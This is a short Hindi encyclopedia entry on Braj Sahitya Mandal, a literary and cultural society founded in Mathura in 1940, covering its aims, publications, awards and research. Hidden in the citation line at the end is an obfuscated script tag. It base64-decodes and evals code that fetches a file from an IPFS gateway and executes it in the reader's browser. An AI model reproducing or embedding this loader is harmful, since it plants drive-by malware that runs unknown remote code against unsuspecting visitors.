ब्रज साहित्य मंडल, मथुरा

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ब्रज साहित्य मंडल की स्थापना मथुरा, उत्तर प्रदेश में 2 अक्टूबर, 1940 में हुई थी। इसका उद्देश्य बृहत्तर ब्रज क्षेत्र की भाषा, कला, साहित्य, संस्कृति, इतिहास की रक्षा और अनुसन्धान आदि हैं।[1]

  • सात सदस्यों की एक समिति के द्वारा इसका संचालन किया जाता है। 'ब्रज-भारती' त्रैमासिक पत्रिका का प्रकाशन भी होता है।
  • ग्राम-साहित्य के संकलन का महत्त्वपूर्ण कार्य भी सम्पन्न हुआ है। हस्तलिखित ग्रंथों की खोज की जाती है।
  • इसके प्रचार के लिए ब्रज क्षेत्र में अनेक केन्द्र खोले गये हैं। वार्षिक सम्मेलन, कवि सम्मेलन तथा अन्य प्रचारात्मक योजनाएँ क्रियांवित की जाती हैं।
  • 'भारतेन्दु कलश', 'ताम्रपत्र' तथा 'श्रीनिवास पुरस्कार' समय-समय पर दिये जाते हैं।
  • 'ब्रज-विद्यापीठ', इसके तीन उप-विभाग हैं- संग्रह, शोध, परीक्षा।
  • ब्रजभाषा-व्यावकरण तैयार किया जा चुका है। 'सूर सागर' के वैज्ञानिक सम्पादन की भी योजना बनायी गयी थी।


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टीका टिप्पणी और संदर्भ

  1. हिन्दी साहित्य कोश, भाग 2 |प्रकाशक: ज्ञानमण्डल लिमिटेड, वाराणसी |संकलन: भारतकोश पुस्तकालय |संपादन: डॉ. धीरेंद्र वर्मा |पृष्ठ संख्या: 395 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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